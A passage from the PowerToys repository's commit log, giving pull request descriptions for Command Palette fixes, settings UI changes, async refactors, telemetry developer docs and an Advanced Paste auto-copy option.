pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments  
Refactor async methods to improve performance and compatibility with
WinRT. The changes include modifying the return types of several
functions in the `updating` namespace, specifically
`uninstall_previous_msix_version_async`,
`get_github_version_info_async`, and `download_new_version_async`.

## Validation Steps Performed  
Manual testing was conducted to ensure that the new async methods
function correctly and that the application behaves as expected during
version checks and downloads. Automated tests were updated to cover the
new coroutine implementations.

---------

Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
2026-02-11 06:31:46 -08:00
Jiří Polášek
603ac55f8a CmdPal: Prevent item template selectors from modifying containers (#45498)
## Summary of the Pull Request

This PR updates the item template selectors for ListView and GridView
and prevents them from modifying the container.
As a flyby, it introduces an enum for the list item type and centralizes
the logic that determines the type to the view model.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45496 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-11 06:03:48 -06:00
Mike Griese
3f5418132d [CmdPal] Fix context menu command items (#45499)
maintainers: we talked about this at length on Teams

> Seems like adding `IExtendedAttributesProvider` onto `CommandItem` is
what broke this. I don't know why. I'm not gonna pretend to understand
the cswinrt voodoo that's causing it to pick `IEAP` as the leaf
interface instead of `ICommandContextItem`.
 
 
drive by: fix the sample project on ARM

_resurrected from #45329 because spellbot killed that PR_
2026-02-11 05:51:00 -06:00
Heiko
e935faf08c [Settings > Advanced Paste] Move GPO info bar for Clipboard History (#45030)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

GPO Info bar for clipboard history has to be placed directly after the
setting. The PR moves the bar to the correct place.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45029 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-11 15:31:18 +08:00
Heiko
eb5f4c6bd0 [Settings > Generla] Create Bug Report button is wrongly disabled if Telemetry GPO is disabled (#45033)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR replaces the GPI control around the report button with an info
bar between diagnostics settings and report button.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45031 
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-11 14:26:10 +08:00
Jessica Dene Earley-Cha
658f90d6f8 CmdPal: Add AutomationProperties.Name to Extensions page "More" button (#45516)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add an AutomationProperties.Name to the "More options" button on the
CmdPal Settings Extensions page, improving accessibility for screen
readers. Add localized AutomationProperties.Name ("More options") for
the Settings_ExtensionsPage_More_Button in Resources.resw

This address A11y bug 60946859

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed


https://github.com/user-attachments/assets/9cd5f580-bf7d-4dd1-9344-96f6c51c7958
2026-02-11 06:44:38 +01:00
Jessica Dene Earley-Cha
3f3e04086e Add developer documentation for implementing telemetry events in PowerToys modules. (#44912)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Adds a new doc (`doc/devdocs/Events.md`) that walks developers through
how to add telemetry events to PowerToys with next steps of reaching out
to Carlos or Jessica.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-10 11:22:51 -08:00
Mike Griese
3b874a9567 CmdPal: Port the devhome perf widgets to cmdpal (#45217)
Pretty direct port of the code, to prove it works.

There's definitely some improvement to be made here, esp WRT to the
network and GPU listing - networks should all just be listed. Or at
least automatically track the active one. And GPU should aggregate a
bunch of stats.

And we can probably add the details to these list items.

But most importantly, _it works_.

re: #45201
2026-02-10 06:00:27 -06:00
Kai Tao
7a86543c8d v0.97.2 hotfix release note (#45485)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-02-09 23:37:48 -08:00
Kai Tao
67a013f729 Advanced Paste: Handle Foundry local Port change on the fly (#45362)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Foundry Local returns 400 Bad Request if a manual port change made for
foundry local.

Fix #45340

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [X] Closes: #45340
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Follow steps described in the issue, and the advanced paste can work
without having to restart powertoys itself
2026-02-10 15:31:23 +08:00
Jiří Polášek
521d34f1eb CmdPal: Add a button to toggle the visibility of the dev ribbon (#45379)
## Summary of the Pull Request

This PR adds an option to toggle visibility of the dev ribbon. The state
is only temporary and does not persist across app runs -- that is
intentional to prevent the dev from turning it off permanently.

<img width="648" height="519" alt="image"
src="https://github.com/user-attachments/assets/c5b348f6-8f3c-4ec2-a250-e051fd003e09"
/>

<img width="1313" height="751" alt="image"
src="https://github.com/user-attachments/assets/89928e30-b0dc-4a14-b5fb-bf68357a145b"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45371
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-09 18:15:22 -06:00
Jiří Polášek
a02a5a9736 CmdPal: Improvements and fixes for icon loading (#45460)
## Summary of the Pull Request

This PR is a follow-up for Icon cache:

- Adds decoding and rasterization limit (by width) to reduce memory
usage and improves throughput (noticeably)
- Fixes timing issue when setting padding for font icons
- Resolves race condition in IconBox caused by incorrect guard

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45460
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-09 14:06:39 -06:00
Jiří Polášek
1e25d17920 CmdPal: ApplicationInfoService + fix version in the error report builder (#45374)
## Summary of the Pull Request

This PR introduces a new service, ApplicationInfoService, that
encapsulates host app state and infrastructure and moves the logic for
obtaining version information there. It then uses this information to
fix an issue with incorrect version reporting for unpackaged CmdPal in
ErrorReportBuilder.

- Adds ApplicationInfoService.
- Fixes an error in ErrorReportBuilder when the app runs unpackaged.
- Adds logging of the app version and environmental info at startup.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45368
- [x] Closes: #45370
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-09 14:00:01 -06:00
Jiří Polášek
4959273875 CmdPal: Prevent the main window from stealing focus (#45309)
## Summary of the Pull Request

This PR adds two fixes to prevent Command Palette’s main window from
stealing focus while or after it is being hidden.

1) GoBack was not forwarding the withAnimation and focusSearch
parameters when chaining to GoHome.

2) Page focus after load can be triggered too late—when the window is
already hidden—causing CmdPal to regain focus unexpectedly.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45301
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-09 13:56:30 -06:00
Jiří Polášek
095961402b CmdPal: Transparent window (#45159)
## Summary

This PR adds:
- Backdrop material customization
  - Alongside acrylic, the following options are now available:
  - Transparent background
  - Mica background
- Background material opacity
  - Lets you control how transparent the background is

## Pictures? Pictures!

<img width="1491" height="928" alt="image"
src="https://github.com/user-attachments/assets/ff4e9e06-fcf1-4f05-bc0a-fb70dc4f39be"
/>



https://github.com/user-attachments/assets/84e83279-afab-481e-b904-f054318c5d2f

<img width="977" height="628" alt="image"
src="https://github.com/user-attachments/assets/241a228d-af3f-448a-94a6-0a282218bd8c"
/>


## PR Checklist

- [x] Closes: #44197
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-09 13:42:01 -06:00
Jiří Polášek
7477b561a1 CmdPal: Add precomputed fuzzy string matching to Command Palette (#44090)
## Summary of the Pull Request

This PR improves fuzzy matching in Command Palette by:
- Precomputing normalized strings to enable faster comparisons
- Reducing memory allocations during matching, effectively down to zero

It also introduces several behavioral improvements:
- Strips diacritics from the normalized search string to improve
matching across languages
- Suppresses the same-case bonus when the query consists entirely of
lowercase characters -- reflecting typical user input patterns
- Allows skipping word separators -- enabling queries like Power Point
to match PowerPoint

This implementation is currently kept internal and is used only on the
home page. For other scenarios, the `FuzzyStringMatcher` from
`Microsoft.CommandPalette.Extensions.Toolkit` is being improved instead.

`PrecomputedFuzzyMatcher` offers up to a 100× performance improvement
over the current `FuzzyStringMatcher`, and approximately 2–5× better
performance compared to the improved version.

The improvement might seem small, but it adds up and becomes quite
noticeable when filtering the entire home page—whether the user starts a
new search or changes the query non-incrementally (e.g., using
backspace).


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45226
- [x] Closes: #44066
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-02-09 13:37:59 -06:00
Gordon Lam
740dbf5699 build(common): update project references to use $(RepoRoot) for paths (#44639)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Update project references across multiple projects to utilize
`$(RepoRoot)` for paths, ensuring consistency and improving
maintainability.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: N/A
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
This change affects the following projects: 
- `src/common/ManagedCsWin32/ManagedCsWin32.csproj`
- `src/common/Common.Search/Common.Search.csproj`
- `src/common/AllExperiments/AllExperiments.csproj`
- `src/modules/peek/Peek.Common/Peek.Common.csproj`
- `src/common/UITestAutomation/UITestAutomation.csproj`
- `src/common/GPOWrapperProjection/GPOWrapperProjection.csproj`
- `src/modules/powerrename/PowerRenameUITest/PowerRename.UITests.csproj`
- `src/common/LanguageModelProvider/LanguageModelProvider.csproj`
- `src/modules/Hosts/Hosts.Tests/HostsEditor.UnitTests.csproj`
- `tools/StylesReportTool/StylesReportTool.vcxproj`
- `src/common/interop/interop-tests/Common.Interop.UnitTests.csproj`
- `tools/MonitorReportTool/MonitorReportTool.vcxproj`
- `src/common/ManagedTelemetry/Telemetry/ManagedTelemetry.csproj`
- `src/modules/peek/Peek.FilePreviewer/Peek.FilePreviewer.csproj`
- `src/settings-ui/Settings.UI.Controls/Settings.UI.Controls.csproj`
- `src/common/Themes/Themes.vcxproj`
- `src/common/COMUtils/COMUtils.vcxproj`
-
`src/modules/cmdpal/Tests/Microsoft.CmdPal.UITests/Microsoft.CmdPal.UITests.csproj`
- `src/modules/imageresizer/tests/ImageResizer.UnitTests.csproj`

The changes were validated by running existing unit tests, which all
passed successfully.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Executed all unit tests related to the modified projects, confirming
that all tests passed without issues.
```
2026-02-06 16:12:44 -08:00
Gordon Lam
914f2281c3 feat(advancedpaste): add auto-copy selection for custom action hotkeys (#44767)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Boosting productivity #2x. Customer mentioned with Custom Action
(Shortcut trigger) "We should not need to do two keyboard actions to
finish this awesome AI data transformation, instead, just single
shortcut should do copy + advanced paste."

This pull request introduces a new feature to the Advanced Paste module
that allows users to automatically copy the current selection when
triggering a custom action hotkey. The changes include backend logic for
sending the copy command, updates to configuration and settings
management, and UI additions to expose this option to users.

### Feature Addition: Auto-Copy Selection for Custom Action Hotkeys

* Added a new boolean setting, `AutoCopySelectionForCustomActionHotkey`,
to both the backend (`dllmain.cpp`, `AdvancedPasteProperties.cs`) and
the settings UI, allowing users to enable or disable automatic copying
of the current selection when a custom action hotkey is pressed.
[[1]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR63)
[[2]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR106)
[[3]](diffhunk://#diff-7f5d34989db7593fa4969a79cf97f709d210c157343d474650d5df4b9bf18114R31)
[[4]](diffhunk://#diff-7f5d34989db7593fa4969a79cf97f709d210c157343d474650d5df4b9bf18114R83-R85)
[[5]](diffhunk://#diff-09c575763019d9108b85a2e7b87a3bb6ed23a835970bf511b1a6bbe9a9f53835R174-R178)
[[6]](diffhunk://#diff-0f8bf95882c074d687f6c4f2673cf9c8b1a904b117c11f75d0c892d809f3cd42R558-R570)

### Backend Logic and Integration

* Implemented the `send_copy_selection()` and `try_send_copy_message()`
methods in `dllmain.cpp` to send a WM_COPY message or simulate a Ctrl+C
keystroke, ensuring the selected content is copied before executing the
custom action.
* Integrated the new setting into the hotkey handler logic so that when
a custom action hotkey is pressed and the setting is enabled, the copy
operation is triggered before running the custom action.

### Configuration and State Management

* Updated serialization/deserialization and property synchronization
logic to support the new setting, ensuring its value is correctly
loaded, saved, and reflected in the UI and runtime behavior.
[[1]](diffhunk://#diff-3866eb99ffe4453e0d03248e11d3560f7f15f4b982e323519d45e282f0fe898dR353-R357)
[[2]](diffhunk://#diff-0f8bf95882c074d687f6c4f2673cf9c8b1a904b117c11f75d0c892d809f3cd42R1235-R1240)

### UI and Localization

* Added a new checkbox to the Advanced Paste settings page in XAML to
allow users to toggle the auto-copy feature.
* Provided localized strings for the new setting, including header and
description, in the resource file for user clarity.

### Refactoring for Hotkey Logic

* Refactored hotkey handling code to correctly calculate indices for
additional and custom actions, supporting the new auto-copy logic and
